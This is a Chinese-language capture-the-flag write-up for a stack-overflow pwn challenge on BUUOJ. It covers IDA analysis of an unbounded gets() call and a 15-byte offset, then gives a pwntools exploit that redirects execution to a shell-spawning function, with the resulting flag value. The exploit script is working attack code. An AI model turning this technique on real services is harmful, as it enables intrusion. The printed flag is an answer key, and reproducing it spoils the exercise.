启动 IDA
这个 gets 没有限制输入,存在栈溢出漏洞.
需要我们输入来获取 flag;
在 main 函数下还有一个 fun 函数;我们可以点开看看看
是一个系统调用且 start at 401186 (待会 payload 可以用到)
双击 s 来到 stack of main 视图,这里了解了我们只需存入 15 个字节即可劫持函数返回地址
IDA 方面进行的差不多了,下面可以开始着手写脚本了
构造 exp
from pwn import * | |
h=remote('node3.buuoj.cn',27829) | |
payload=b'a'*15+p64(0x401186) | |
h.sendline(payload) | |
h.interactive() |
执行
刚开始还不知道要干什么,以为又是脚本写错了,后来才发觉是要执行 cat /flag 命令
get flag{8bf972eb-867d-485b-94d5-737f5bc12947}